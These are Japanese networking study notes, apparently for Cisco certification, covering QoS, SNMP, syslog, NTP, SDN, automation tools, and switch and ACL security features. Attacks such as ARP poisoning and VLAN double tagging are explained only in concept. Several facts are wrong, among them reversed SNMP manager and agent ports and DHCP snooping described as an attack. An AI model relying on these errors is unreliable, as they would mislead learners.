例えばWebブラウザから参照するYouTubeのパケットは、拡張アクセスリストではHTTPプロトコルとしか判断できないため適切に分類できないが、NBARでは以下のようにネットワークアプリケーション名でマッチさせることができるようになる。

7.2.5. マーキング - 輻輳管理

マーキングは分類されたパケットに優先度識別用の印を付けることをいう。 具体的にはCoSIPPDSCPをポリシーに従い変更を行う。

またマーキングにはL2マーキングとL3マーキングがある。 それぞれ値を変更する場所が異なり変更箇所は以下のようになる。

  • L2マーキング … IEEE 802.1QヘッダのCoSフィールド
  • L3マーキング … IPヘッダのToSフィールド

7.2.4.1. CoS

CoS(lass of Service)はイーサネットの優先度を表すもの。 IEEE802.1Qで付与されたタグの中にPRIと呼ばれるCoSの値を表せるフィールドがある。 そこをチェックしたり変更することでマーキングを行う。

DiffServのマーキングで使用される。

特徴としては以下の通り。

  • L2マーキング
  • 3ビット(2進数で000-111)でマーキングを行う(8段階のマーキングが可能)

7.2.4.2. DSCP

DSCP(Differentiated Service Code Point)はIPパケットの優先度を表すもの。 IPヘッダのToSというフィールドのうちサービスタイプフィールドの前半6bitを使用して優先度を設定する。

DHSCPの値に応じてルータ/スイッチは転送を行う。これらはホップごとの動作を決めたPHB(Per Hop Behavior)に応じて処理される。 特徴をまとめると以下の通り。

  • L3マーキング
  • 6ビット(2進数で000000-111111)でマーキングを行う(64段階のマーキングが可能)

またPHBには以下のような種類がある。

種類説明
AF(Assured Forwarding)優先度と破棄レベルの組み合わせを12段階で指定できるマーキング
EF(Expedited Forwarding)最優先で処理したいパケット用のマーキング。主にIP電話のような音声パケットに使用する。
CS(Class Selector)DSCPとIPPの互換用のマーキング
DF(Default Forwarding)ベストエフォート用のマーキング。QoSによる優先処理を行わない。

7.2.4.3. IPP

IPP(IP Precedence)はIPヘッダの中のToSフィールドで定義されたIPパケットの優先度を表すもの。 特徴は以下の通り。

  • L3マーキング
  • 3ビット(2進数で000-111)でマーキングを行う(8段階のマーキングが可能)

7.2.6. キューイング/スケジューリング - 輻輳管理

キューイングは送信するパケットをキューと呼ばれる領域に格納していく。 キューの種類にはハードウェアキューとソフトウェアキュがあるが、ソフトウェアキューにキューイングは行われる。

スケジューリングはソフトウェアキューに並んだパケットをどういう割合/順番でハードウェアキューに並べるか決定するもの。

キューイングとスケジューリングには以下のような機能がある。

種類説明
FIFOパケットを到着した順番に送信する方式。デフォルトのキューイング方式
PQ優先度が高いパケットの転送を優先する方式。優先度には「high」「medium」「normal」「low」の4つが使用される
CQキューに設定したバイト数ずつパケットを転送する方式
WFQアプリケーションのフローごとにキューを自動で作成し、どのキューからもパケットを転送されるようにしたキューイング方式
CB-WFQクラスごとにキューを割り当てる方式。ユーザが定義したクラスごとにキューを割り当てて送信比率を帯域幅の設定により変更できる
LLQ優先的に送信するプライオリティキューとクラスキューを使用する方式。

7.2.6.1. CB-WFQ

CB-WFQでは全てのキューを順にチェックし指定された割合(保証帯域)でデータを取り出して転送する。

7.2.6.2. LLQ

LLQではPQに割り振られたパケットを最優先で転送する。

7.2.7. RED/WRED - 輻輳回避

RED/WREDは輻輳回避はの機能で輻輳によるテールドロップが発生する前にキューに待機しているパケットをドロップするもの。

7.2.7.1. RED

RED(Random Early Detection:ランダム早期検出)はキューが一杯になる前にパケットをドロップすることで輻輳レベルを下げテールドロップを防ぐもの。 REDはキューに溜まっているパケットの量に応じて「ノードロップ」「ランダムドロップ」「フルドロップ」という3つのモードで動作する。

  • ノードロップ … パケットの量が最小しきい値以下の状態。パケットをドロップしない
  • ランダムドロップ … パケットの量が最小しきい値を超えた状態。設定した割合に基づきパケットをドロップする
  • フルドロップ … パケットの量が最大しきい値を超えた状態。着信パケットを全てドロップする(テールドロップ)

7.2.7.2. WRED

WREDはREDの破棄率を優先度ごとに設定できる機能のこと。 具体的にはキューが一杯になる前に優先度の低いパケットをドロップする。

7.2.8. ポリシング/シェーピング - 帯域制御

7.2.8.1. ポリシング

ポリシングは設定値や最低限保証されている伝送速度を超過したトラフィックの破棄や優先度を変更できるもの。 これはパケットの到着/発信の際に適用できる。

ポリシングは指定した転送レートを超えて送受信されたパケットを破棄するため、損失発生の要因となりえる。 しかしながらキューイングが行われないため遅延やジッタは発生しない。

7.2.8.2. シェーピング

シェーピングは設定値や最低限保証されている伝送速度を超過したトラフィックをバッファに保存して遅れて送信するもの。 キューにバッファ用のメモリが必要でパケット発信の際に利用できる。

シェーピングは送信側で実装し、指定した送出レートを超えないように送出レートを超えるパケットをキューに保持し、送信可能になった時点で送信する。 リアルタイムに送信されない場合があるため、遅延、ジッタ発生の要因となりえる。

7.2.9. QoSの評価方法

ネットワークにおけるQoSは以下の4つの項目で評価される。

  • 帯域幅(Bandwidth) … 1秒間に送信できるデータ量(Bps)
  • 遅延(Delay) … 送ったデータが相手に届くまでにかかる時間(片方向遅延/往復遅延)のこと。主にミリ秒(ms)で表す
  • ジッタ(Jitter) … 遅延のゆらぎのこと。遅延の時間が一定の場合はジッタが発生していないと言い、パケットごとの遅延が異なる(例:100ms、115ms、98ms、108ms、など)場合は、その遅延の差分(例では、15ms、17ms、10ms)
  • 損失(Loss) … 相手に届かなかったパケットの割合

7.2.10. 音声/ビデオのQoS要件

音声とビデオのQoS要件にはガイドラインがあり、以下表のように定義されている。

パケットの種類帯域幅片方向遅延ジッタ損失
音声20~320 Kbps150ms未満30ms未満1%未満
ビデオ384K~20M bps200~400ms30~50ms0.1~1%

7.3. SNMP

7.3.1. SNMPの概要

SNMPはTCP/IPネットワーク上で動作している危機を管理するためのプロトコル。 このプロトコルの使用によりネットワーク上の機器の状態の監視や情報収集が可能。

7.3.2. SNMPの構成要素

SNMPでネットワーク機器を管理する構成はネットワーク管理ステーションでSNMPマネージャ、ネットワーク要素でSNMPエージェントが動作する。

7.3.2.1. SNMPマネージャ

SNMPエージェントを監視するプログラム。 SNMPエージェントと通信し情報を収集するサーバの役割を負う。

7.3.2.2. SNMPエージェント

SNMPエージェントはクライアントPC, ルータやスイッチといったネットワーク機器、サーバなどで動作するプログラムのこと。 SNMPはUDPを使用して、SNMPマネージャはポート161、SNMPエージェントはポート162を使用する。

7.3.2.3. MIB

各SNMPエージェントで動作している機器の情報は集められ、その情報はMIBと呼ばれるツリー状のデータベースに格納される。 MIBに格納される情報はオブジェクトと呼ばれ、OIDと呼ばれるオブジェクト識別子が付加される。

MIBには標準MIB拡張MIBがある。

MIBの種類説明
標準MIBRFCで規定されているMIB。ホスト名やインターフェース情報など
拡張MIBベンダーが独自規定したMIB。これは両機器が対象MIBの構造を把握しておく必要がある

7.3.2.4. SNMPの通信

SNMPマネージャ-SNMPエージェントの通信方法にはSNMPボーリングSNMPトラップSNMPインフォームがある。

通信方法説明
SNMPボーリングSNMPマネージャから要求を出す方式。SNMPマネージャは定期的にSNMPエージェントに問い合わせMIB内の情報を受け取る
SNMPトラップSNMPエージェントから要求してSNMPマネージャが応答する手順のこと
SNMPトラップとほぼ同じだが、SNMPマネージャから応答が必ず必要という違いがある

7.3.2.5. SNMPのバージョン

SNMPには以下のバージョンがある。

バージョン説明
SNMPv1コミュニティ名を利用して認証が行われる。なお平文のまま送信されるため盗聴される危険性がある。SNMPトラップしか対応していない
SNMPv2cSNMPv1の機能に加え、GetBulkRequestやSNMPインフォームが利用可能
SNMPv3USMを利用した認証機能が追加されている。またデータの暗号化が可能となっている

7.4. デバイスの管理/監視

7.4.1. システムログ管理

7.4.1.1. システムログの概要

ネットワーク機器や端末では大体システムの動作が記録されている。 この記録されたものはシステムログ

システムログの調査は障害発生時刻の動作の確認やその原因の究明に利用できる。

7.4.1.2. システムログの出力先

システムログのメッセージは以下のような場所に出力される。

  • コンソールライン
  • 仮想ターミナルライン
  • ルータやスイッチのRAM
  • Syslogサーバ
出力先説明
コンソールラインコンソールに出力すると言うもの。デフォルトではここに出力されない
仮想ターミナルラインリモートログインした画面にログを出力すると言うもの
ルータやスイッチのRAMRAMにシステムログを保存することができるが、容量が一杯になると新しいログで上書きされる特徴がある
SyslogサーバSySlogサーバを使用するとネットワークを介してログを送信できる。メッセージはSyslogサーバに保存しログを一元管理可能。SyslogサーバはLinuxなどで建てられる

7.4.1.3. システムログのファシリティ

ファシリティはログの種類を表す。 Cisco社製のネットワーク機器の場合のログのファシリティはデフォルトではLocal7となる。

7.4.1.4. システムログのレベル

ログは一般的にレベルが分けられており重要なログの実を選別して調査できるようにしている。

重大度意味説明
0緊急システムが不安定
1警報直ちに処置が必要
2重大クリティカルな状態
3エラーエラー状態
4警告警告状態
5通知正常だが注意を要する状態
6情報単なる情報メッセージ
7デバッグデバッグメッセージ

またメッセージは以下の4つのカテゴリーに定義されている。

  • ソフトウェア/ハードウェアの誤動作のエラー
  • debugコマンドの出力
  • インターフェイスの起動/停止への移行およびシステムの再起動メッセージ
  • リロード要求/下位プロセススタックのメッセージ

7.4.1.5. システムログの形式

Cisco機器ではシステムログの形式は以下のように表示される。

000022: *Oct 17 13:01:17.295: %SYS-5-CONFIG_I: Configured from console by console

表示されている例の場合は左から順に以下の通り。

  1. シーケンス番号 … 00022:
  2. 出力日時 … *Oct 17 13:01:17.295
  3. 参照ファシリティ … SYS
  4. 重大度 … 5
  5. メッセージの内容 … CONFIG_I
  6. メッセージの詳細 … Configured from console by console

7.4.2. NTPによる時刻管理

7.4.2.1. NTPの概要

NTPはUTCという標準時間を把握している時刻サーバと同期をとるように作られたプロトコル。 NTPは123番のポートを使用する。

ルータやスイッチなどのログの管理の際の時刻を厳密に扱うために使用される。

7.4.2.2. NTPの階層構造

NTPはstratumと呼ばれる階層構造を持っており、最上位のNTPサーバは原子時計などから直接正しい時刻を得て、他の危機はNTPサーバから自国の情報を取得して同期を行っている。

NTP

最大stratum15までNTPサーバを構築することができ、このツリー状の構造によって時刻取得の際の負荷分散が実現されている。

7.4.2.3. NTPサーバをLANに構築する

NTPサーバをLANに構築する場合は外部のネットワークのNTPサーバへの負荷軽減、LAN内のネットワークに接続していない機器の時刻同期が可能になると言うメリットがある。

6.1.8 - 8.ネットワークの自動化/仮想化

SDNやIaCについて

8. ネットワークの自動化

7.5. ネットワーク仮想化(SDN)

7.5.1. ルータやスイッチの構造

ルータやスイッチの処理の種類や機能は大きくデータプレーン、コントロールプレーン、マネジメントプレーンの3つに分類される。

役割

分類機能
データプレーンルーティングテーブル/MACアドレステーブルの検索, パケットカプセル化非カプセル化, IEEE802.1Qタグ追加削除, NAT変換, フィルタリングなど
コントロールプレーンルーティングテーブル/MACアドレステーブルの作成, ARPのアドレス解決など

マネジメントプレーンはネットワーク機器の構成/設定の管理を行う部分となる。 ユーザに機器の操作/管理の機能を提供する。

7.5.2. SDNの概要

SDNはソフトウェアによりネットワークを管理/制御、構成するための技術/考え方。 SDNではデータプレーンの処理とコントロールプレーンの処理を分けて考える。 SDNコントローラでコントロールプレーンの処理を一括で行う特徴がある。

SDN構成では各ネットワーク機器上ではデータプレーンのみが動作する。

SDNコントローラ

7.5.2.1. SDNのアーキテクチャ

アーキテクチャ

インフラストラクチャ層はデータ転送を実際に行うネットワーク機器のレイヤ。 これらの機器の制御には、OpenFlowやNETCONFなどの標準プロトコルや、機器ごとに設定されたAPIを利用する。 この部分のAPIはSouthbound APIと呼ばれる。 SBIにはOpenFlow、OpFlex、Telnet、SSH、SNMP、NETCONF、RESTCONFなどがある。

コントロール層はSouthboundのプロトコル(SBI)やAPIを使用した機器の制御をするレイヤ。 同時にインフラストラクチャ層のネットワーク機器のネットワーク機能を抽象化したAPIをアプリケーション層に提供する。 この部分のAPIはNorthbound API(NBI)を呼ばれる。

アプリケーション層はSDNコントローラに設定するアプリケーションが該当するレイヤ。 SDNを操作するアプリケーションはSDNコントローラとセットで提供される。 APIを通じてネットワークの様々な処理をSDNコントローラへ指示する層となる。

7.5.3. OpenFlow

OpenFlowはSDNを実現する技術の1つでONFにより規定されたSouthbound APIに相当するプロトコル。 この技術ではコントロールプレーンとデータプレーンの処理を分離させることができる。

OpenFlowではSDNコントローラのOpenFlowコントローラ、機器側のOpenFlowスイッチにより実現される。

OpenFlow

7.5.3.1. OpenFlowの特徴

OpenFlowではOpenFlowコントローラでフローテーブルと呼ばれるデータ転送の通信ルールを規定したテーブルを作成し、ネットワーク上のOpenFlowスイッチに配布する。 各OpenFlowスイッチはそのフローテーブルに従ってデータ転送/通信を行い、これはホップバイホップ方式と呼ばれる。

OpenFlowの特徴は以下の通り。

  • フローテーブルの設定により柔軟なネットワークが構築可能
  • フローテーブルの維持/設定/管理が難しい
  • すべての機器がOpenFlowに対応している必要がある

7.5.3.2. OpenDaylight

OpenDaylightはOSSのSDNコントローラでベンダー機器の垣根を超えることを目標に作られたもの。

7.6. ネットワークの自動化

7.6.1. ネットワーク自動化/プログラマビリティ

クラウドサービスやネットワークの複雑化により従来のネットワーク管理者が手動で機器を設定するのは非常に手間がかかるようになってきた。

こうした背景からネットワーク自動化プログラマビリティが重要視されている。

7.6.2. REST API

REST APIはREST思想に基づいて作成されたAPIで、ネットワーク自動化のための設定にも利用されている。

7.6.2.1. REST

RESTは以下項目を満たすAPIと定義されている。

  • クライアント/サーバ構成
  • ステートレス
  • キャッシュの可否の制御が可能
  • 統一されたインターフェイス
  • 階層化されたシステム構成
  • コードオンデマンド

7.6.2.2. HTTP

多くのREST APIはHTTPプロトコルを使用している。 リソース操作はリソースを識別するURIとリソース命令のHTTPメソッドで行われる。

  • URI … https://hogehoge.com/api/v1/のようなリソース位置を示す文字列
  • HTTPメソッド … リソースに対して行いたいアクション(CRUD)
CRUDHTTPメソッド説明
CreatePOST/PUT作成
ReadGET読み取り
UpdatePUT更新
DeleteDELETE削除

7.6.2.3. JSON

REST APIでやりとりされるデータ形式にはJSON, XML, YAMLなどがある。 最近はJSONが使われることが多い。

7.6.3. 構成管理ツール

7.6.3.1. 従来の構成管理の問題

従来の構成の問題は以下手順を全ての機器に行う必要がある点にある。 そのため構成管理を手動で行うのは困難となっていた。

  • 対象デバイスにログインする
  • 設定コマンドの実行
  • 設定した内容をファイルに保存して保管
  • 修正を行ったらファイルを更新して保管

上記の問題や構成ドリフトが発生しないように、構成管理ツールが開発された。

7.6.3.2. 構成管理ツールの概要

構成管理ツールを用いたアーキテクチャでは各機器の設定ファイルを共有フォルダで一元管理する。 そのためネットワーク管理者は共有ファイル上の設定ファイルを編集するだけで機器に変更を加えることができる。

7.6.3.3. Ansible/Puppet/Chef

構成管理ツールにはAnsibleやPupper, Chefなどがある。

AnsibleはRedHatが開発するOSSの構成管理ツール。 構成管理サーバから各ネットワーク機器に設定を送るPush型の通信形態となっている。 各機器にエージェントをインストールしなくても設定を送れるエージェントレスな構造となっている。 また構成ファイルはYAMLを使って記述する。

PuppetはPuppet Labsが開発するOSSの構成管理ツール。 ネットワーク機器が構成管理サーバから設定を取得するPull型の通信形態となっている。 クライアント側にもソフトウェアのインストールが必要なエージェントモデルとなっている。 なお設定の取得の際はHTTP/HTTPSでTCP8140番ポートを使用して接続を行う。

ChefはChef社が開発するOSSの構成管理。 管理対象がChefに対応している必要があるため通信機器の管理にはあまり使われないPull型の形式。 制御ファイルはRubyで記述される。

構成管理ツール制御ファイル構成ファイル形式サーバ待ち受けポートプロトコルアーキテクチャ通信形態
AnsiblePlayBookYAMLなしSSH,NETCONFエージェントレスPush型
PuppetManifest独自形式TCP8140番HTTP/HTTPSエージェントPull型
ChefRecipe/RunlistRubyTCP 10002番HTTP/HTTPSエージェントPull型

6.1.9 - 9. ネットワークセキュリティの基礎

ネットワークのセキュリテ/認証技術(IEEE.802.1X認証)のポイント

9.1. セキュリティの基礎

9.1.1. セキュリティの概念

セキュリティの概念を表す用語には以下のようなものがある。

用語説明
インシデント情報セキュリティを脅かす発生した事件や事故のこと。
脆弱性プログラムの欠陥やシステム/ネットワーク上のセキュリティ上の欠陥全般のこと。
エクスプロイト管理システム/ネットワークの脆弱性を悪用して攻撃するためののプログラム/攻撃のこと。
脅威攻撃を与えうる存在。技術的脅威、人的脅威、物理的脅威に分けられる。

また情報セキュリティを守る理想像を実現するためにセキュリティポリシーが企業などの組織では規定される。 これは企業や団体におけるセキュリティ対策の方針や行動指針を示すためのものである。

セキュリティポリシーでは以下3つの内容が定義される。

  • ポリシー(基本方針) セキュリティに対する基本的な考え方や方針を記します。

  • スタンダード(対策基準) セキュリティ確保のためにどのような対策を行うのか記します。

  • プロシージャ(実施手順) 対策基準ごとに具体的な手順を記します。

9.1.2. セキュリティの脅威と一般的な攻撃手法

有名な攻撃手法、セキュリティ脅威を記載する。

9.1.2.1. なりすまし攻撃

なりすまし攻撃(スプーフィング攻撃)はIPアドレス/MACアドレスを偽造することで攻撃者を別の人物に見せかけて行う攻撃の総称。 具体的には以下のものがある。

攻撃説明
DoS攻撃サービス拒否攻撃とも呼ばれ、サーバ等に過剰な負荷をかけてサービスを妨害する攻撃。攻撃にはTCP SYNフラッド攻撃やUDPパケットの悪用した方法などいくつかある。
DDos攻撃分散型サービス拒否攻撃とも呼ばれ、ウィルスに感染させたPCを操作してDoS攻撃を行う手法。踏み台に感染PCが利用される特徴がある。
中間者攻撃攻撃対象者の通信内容の盗聴/改竄を目的とした攻撃の総称。
リフレクション攻撃(アンプ攻撃)送信元を偽った要求をサーバに送り、ターゲットに大量の応答を返すように仕向ける攻撃

9.1.2.2. その他の攻撃

攻撃説明
バッファオーバフロー攻撃攻撃対象のコンピュータの処理/許容できるデータより巨大なデータを送り付け誤動作/悪意のあるプログラムを動作させる攻撃手法
ソーシャルエンジニアリング攻撃技術的攻撃ではなく人の社会的・心理的弱点を利用して情報を得ること。パスワードの盗み見等も該当する
ブルートフォースアタック攻撃総当たり攻撃とも呼ばれるパスワードを破るために利用される攻撃手法
ゼロデイ攻撃まだ対策が行われていない脆弱性を狙った攻撃手法

9.1.2.3. マルウェア

悪意のあるソフトウェアやプログラムの総称はマルウェアと呼ばれる。 情報漏洩やファイル操作、バックドアの作成などに用いられる。

種類説明
トロイの木馬通常のアプリやファイルを装って配布されるマルウェア。自己増殖は行わない
ウィルス単体で動作せず他のソフトウェアやファイルに合わさって使用される不正プログラム。ウィルスは自己増殖する場合がある。
ワーム独立して動作が可能なウィルス。増殖する可能性がある

9.1.2.4. フィッシング

悪意のあるWebサイトに誘導させる手法の総称。

種類説明
スピアフィッシング同じ所属機関の同僚を装い偽のURLを踏ませる方法
ピッシング電話などの音声案内を通じて被攻撃者を誘導する方法
スミッシングSMSメッセージを用いたフィッシング

9.2. ネットワークデバイスのセキュリティ

9.2.1. ファイアーウォールとIPS

ネットワークを保護するための機器や機能にはファイヤーウォールIPSがある。

9.2.1.1. ファイヤーウォール

ファイヤーウォールは外部ネットワークから内部ネットワークを守るためのソフトウェアや機器のこと。 外部だけではなく内部からつの通信もブロックすることができ、ACLよりも細かい制御が可能となっている。

ファイヤーウォールに機能の1つにパケットフィルタリングという機能があり、許可されていない通信をブロックすることができる。 具体的には送信元IPアドレス/宛先IPアドレス、送信元ポート番号/宛先ポート番号などでブロックするかどうか判断する。

また内部から外部へ送信された通信を確認し、それに対する戻りの通信を自動で許可/不許可する機能があり、それはステートフルインスペクションと呼ばれる。

これは外部通信を完全にブロックするとTCPの3Wayハンドシェイク時の外からのACKがブロックされる危険性への対策としての機能を提供するための機能と言える。

9.2.1.2. ファイヤーウォールの構築例

ファイヤーウォールを用いた構築では外部ネットワークDMZ内部ネットワークの3領域に分ける。 以下に構成例(シングルファイヤーウォール型)を示す。

DMZ

内部ネットワークは内部の利用者のみが利用できるネットワークで内部用のサーバやクライアントが配置される。 DMZは内部ネットワークと外部ネットワークの中間領域に位置し、インターネットに公開するサーバ等を配置する。

ファイヤーウォールの設定はDMZや外部ネットワークからの通信を内部ネットワークに入れないようにルールを規定する。 具体的には内部ネットワークへアクセス可能な通信は内部ネットワークから外部ネットワークやDMZへ要求して、応答で帰ってくる通信のみを入れる設定にする。

またファイヤーウォールは物理的にネットワークを分ける機能を持ち、物によってはルーティング、NAT、VPNの機能を持つものもある。

9.2.1.3. IDS/IPS

IDS(侵入検知システム)、IPS(侵入防止システム)はシグネチャと呼ばれる様々な不正パターン、攻撃のパターンのデータベースを利用し通信のチェックを行うため、ファイヤーウォールで検知ができないパケット内部のチェックが可能となっている。 そのため外部からの異常な通信、不正アクセスといった攻撃から内部ネットワークを保護することができる。

IPS/IDS

9.2.1.4. NGFW/NGIPS

従来のファイヤーウォールやIPSより高性能な機能を有するものはNGFW(次世代ファイヤウィール)、NGIPS(次世代IPS)と呼ばれる。

次世代ファイヤーウォールの機能の特徴は以下のようなものがある。

特徴説明
AVCIPアドレス/ポート番号でパケットフィルタリングを行うのではなく、アプリケーション単位で識別/フィルタリングする機能。アプリごとに設定が可能
AMPネットワークの往来を行うファイルの監視/記録により侵入の検知をしたマルウェアの感染経路を過去にさかのぼり特定する機能
URLフィルタリング世界中のURLで知られるWebサイトをリスクベースで分類したデータベースを利用して危険度ごとにブロックする機能

また次世代IPSの機能の特徴は以下のようなものがある。

  • IPS自動チューニング … 内部ネットワークのPCなどからデバイス情報を収集することでネットワークで必要なIPSシグネチャを自動判断し選択する機能。ご検知率の低下が見込める

9.2.2. ネットワークのセキュリティ対策

機器に強度の高いパスワードを設置する、ファイヤーウォールやIPSを導入する以外のセキュリティの実装方法には以下のようなものがある。

  • 鍵付きラックや部屋に使用機材を収納する
  • ルータ/スイッチで使用していないポートはすべてシャットダウンする
  • 多段階認証の実装
  • OS/ソフトウェアの定期的なアップデートを行う

9.2.2.1. 多段階認証

認証情報を複数合わせた認証方式。 認証要素の種類は知識要素所属要素生体要素に分けられ、以下の認証方式で使われる。

  • 多要素認証 … 異なる種類の要素を組み合わせて認証する方式
  • 2要素認証 … 特に異なる要素を組み合わせて認証する方式(上記の3種のうち異なる2種を用いた認証)

9.2.3. Cisco社製のセキュリティに関する製品

9.2.3.1. Cisco AMP

Cisco AMP(Cisco Advanced Malware Protection)はCisco社が提供するマルウェア対策製品。

Cisco AMPではサンドボックス機能やリアルタイムのマルウェア検知機能により侵入行為を防御する。 また、ネットワーク内のファイルを継続的に分析し、侵入してしまったマルウェアを封じ込めることも可能となっている。

9.2.3.2. Cisco Firepower

Cisco FirepowerはNGFWとNGIPSを搭載したCisco社のセキュリティ製品。

このファイヤーウォールのASAの接続ではSSL/TLS VPNを使用している。

9.3. L2スイッチのセキュリティ

9.3.1. ポートセキュリティ

ポートセキュリティは不正なネットワーク接続を防ぐ機能でネットワークの想定外端末からの通信をスイッチでブロックするものとなっている。 この機能ではMACアドレスを使用して端末の識別を行っている。

9.3.1.1. ポートセキュリティの動作

ポートセキュリティ

なおL2スイッチに登録されているMACアドレスはセキュアMACアドレスと呼ばれる。

9.3.1.2. ポートセキュリティの設定

ポートセキュリティで接続端末を識別するにはMACアドレスをスイッチに登録する必要がある。 方法は手動でMACアドレスを登録する方法、フレームが届いた際に自動で送信元MACアドレスが登録される方法の2つがある。

9.3.2. DHCPスヌーピング

不正なDHCPサーバを用意し誤った情報をPCに割り当て通信を盗聴する手法はDHCPスヌーピングと呼ばれる中間者攻撃の1種。 具体的には盗聴しているPCへ通信を送った後に本来の送信先にデータを送信すれば盗聴にすぐには気づかれないということである。

DHCPスヌーピング

9.3.2.1. DHCPスヌーピングを防ぐ方法

スイッチにDHCPスヌーピングの設定を行うと信頼ポート信頼しないポートの2つに分けられる。 信頼しないポートからDHCP OFFERやDHCP ACKなどが送られるとそれらはブロックされる。 具体的にはDHCPサーバからメッセージが送られてくるポートを信頼ポートに設定を行い、それ以外を信頼しないポートに設定する。

なおこの設定を有効にするとDHCPパケットの中身がチェックされるため、DHCPサーバから割り当てられるIPアドレスをスイッチ側で知ることができる。 その情報はスイッチ側のDHCPスヌーピングバインディングデータベースに保存される。 このデータベースとダイナミックARPインスペクションを組み合わせるとARPスヌーピングと呼ばれる攻撃も防ぐことが可能。

9.3.3. ダイナミックARPインスペクション

ダイナミックARPインスペクションはARPスヌーピングと呼ばれるARP応答のなりすまし、謝ったARP情報を教える攻撃を防ぐ機能のこと。

9.3.3.1. ARPスヌーピング(ARPポイズニング)

ARPスヌーピングの仕組みは以下の通り。

  1. 宛先MACアドレスを知るため攻撃対象のクライアント端末がブロードキャストでARP要求する
  2. 攻撃者PCが他のPCになりすましたARP応答を返送し攻撃対象クライアントPCが誤ったARP応答をARPテーブルに登録する
  3. この際別の宛先への通信が攻撃者PCに向かう場合がある(スヌーピング)

ARPスヌーピング

9.3.3.2. ダイナミックARPインスペクションの仕組み

ダイナミックARPインスペクションではDHCPスヌーピング防止設定のDHCPスヌーピングバインディングテーブルが使用される。

具体的に信頼しないポートに設定したポートへのARP要求/応答がARP内部のIPアドレスとMACアドレス紐づけがDHCPスヌーピングバインディングテーブルと異なる場合になりすましと判断しパケットを破棄する構造となっている。

9.3.4. VACL

VACLはスイッチ内のVLANにACLを適用するもの。 対象はVLANに届いたすべての通信となる。またVACLはダブルたギング攻撃の対策の1つとなる。

9.3.4.1. ダブルタギング攻撃

ダブルタギング攻撃はトランクリンクのカプセル化がIEEE802.1Qの場合のネイティブVLANを利用した攻撃のこと。 これは攻撃者がトランクリンクのネイティブLANと同じLANに所属している場合に使用される方法となる。

具体的には攻撃者が2つのVLANタグ(トランクリンクのネイティブLANと同じVLANタグと攻撃したいVLANのタグ)を付加したフレームを送信する。 その際にスイッチが前者(トランクリンクのネイティブLANと同じVLANタグ)のVLANタグを外して転送するため異なるVLANにフレームが送信されてしまうという特性を利用したものとなっている。

9.4. ACL

9.4.1. ACLの概要

ACL(アクセスコントロールリスト)はルータを通過するパケットをチェックし許可された通信を転送するように通信制御をするために使用されるリスト。 ルータはACLの内容に基づきパケットフィルタリングを行う。

ACLにはチェックするパケットの条件とその条件に一致する場合の動作の一覧を登録する。

9.4.1.1. ACLの種類

ACLにはいくつか種類があり標準ACL拡張ACLが代表的なものに上げられる。

標準ACL … 標準ACLではパケットの送信元IPアドレスをチェックする。 また標準ACLの種類には番号付き標準ACL名前付き標準ACLがあり、それぞれ1~99の値を設定、名前を表す文字列を指定する。

拡張ACL … 拡張ACLでは送信元IPアドレス、宛先IPアドレス、プロトコル番号、送信元ポート番号,宛先ポート番号をチェックする。 また拡張ACLの種類には番号付き拡張ACL名前付き拡張ACLがあり、それぞれ100~199の値を設定、名前を表す文字列を指定する。

9.4.1.2. ACLのルール

ACLではリストの上から検索を行い該当行があった場合それ以降の行を検索しない。 そのため記述する順番を意識する必要がある

ACL

9.4.1.3. ワイルドカードマスク

ACLではフィルタリングの条件となる送信元や宛先を指定する際にワイルドカードマスクを使用する。

表記はIPアドレス ワイルドカードマスク。 またはワイルドマスクカード省略形でhost IPアドレスと記述可能。

172.16.1.1 0.0.0.0 → host 172.16.1.1

またワイルドカードマスクを使用せずanyで指定する事も可能。

9.4.1.4. ACLの適用

ACLは作成後にルータのインターフェイスに適用する。ACLはインバウンドで適用するか、アウトバウンドで適用するかで動作が異なる。 またACLの適用は1つインターフェイスにつきインバウンド、アウトバウンドそれぞれ1つのみの適用になる。

インバウンドではパケットが届いたときにチェックが行われ、アウトバウンドではパケットが出ていくときにチェックが行われる。

9.4.2. 拡張ACLの概要

拡張ACLは標準ACLよりも細かくパケットのフィルタリングができるACL。 L3ヘッダの送信元IPアドレス、宛先IPアドレス、プロトコル番号、L4ヘッダの送信元ポート番号,宛先ポート番号をパケットフィルタリング条件に利用可能。

9.5. AAA

9.5.1. AAAの概要

AAAはセキュリティを実現させるための主要な3機能を元に考える概念で以下の3つで定義される。

  • Authentication:認証 … ネットワーク/サービスを利用する際にユーザID/パスワードなどにより確認を行うこと
  • Authorization:認可 … 認証されたユーザにどの機能を提供するかを決定するもの
  • Accounting:アカウンティング … ネットワーク/サービスを利用しているユーザのログイン時間やアクセス情報などを監視/記録すること

9.5.2. RADIUS/TACACS+

AAAを実現しネットワークアクセスを制御するためのプロトコルにはRADIUSや**TACACS+**がある。

項目RADIUSTACACS+
トランスポート層UDPTCP
使用ポート1812, 181349
パケット暗号化パスワードのみ暗号化全体の暗号化
AAAへの対応認証/アカウンティングすべて
機能の対応アカウンティングは独立、それ以外は統合AAA3機能すべて独立
ルータ管理ユーザがルータで実行するコマンドを制限できないユーザがルータで実行するコマンドを制限できる
標準化対応RFC2865シスコ独自規格

9.5.2.1. RADIUS

RADIUSはAAAのうち認証/アカウンティングの機能を持つプロトコル。 UDPを使用するサーバ-クライアント型のプロトコルでRADIUSクライアントがRADIUSサーバに対して応答する仕組みとなっている。 認証に1812ポート、アカウンティングに1813ポートが使用される。

ネットワークにアクセスする際にルータやスイッチにログインする際にRADIUSプロトコルを利用して認証を追加することが可能。 またIEEE802.1Xにも使用されている。

9.5.2.2. TACACS+

TACACS+はAAAの3要素すべての機能を持つプロトコル。 TCPを使用するサーバ-クライアント型のプロトコルでTACACS+クライアントがTACACS+サーバに対して応答する仕組みとなっている。 またTCPの49ポートを使用し、やり取りするパケット全体を暗号化できる。

ネットワークにアクセスする際にルータやスイッチにログインする際にTACACS+プロトコルを利用して認証を追加することが可能でログインしたユーザが実行するコマンドの制限が可能。

9.5.3. IEEE802.1X

IEEE802.1X認証はネットワークへの不正アクセスを防ぐための機能。

IEEE802.1X

IEEE802.1Xの構成

IEEE802.1Xではサプリカント、オーセンティケータ、認証サーバの3要素が必要となる。

要素説明
サプリカントユーザが認証した情報をオーセンティケータに送信するためのPC側の認証ソフトウェア
オーセンティケータクライアントから送られる認証情報をRADIUSサーバへ中継する機器。具体的にはIEEE802.1X対応のネットワーク機器となる
認証サーバユーザ認証を行うためのサーバ。IEEE802.1XではRADIUSサーバのみをサポートしている

6.1.10 - 10. その他の追加知識

その他のネットワークに関する追加知識

10.1. その他のワイヤレスLAN

IEEE.802.11以外のワイヤレスLAN規格を以下に示す。

ワイヤレスLAN

10.1.1. WIMAX

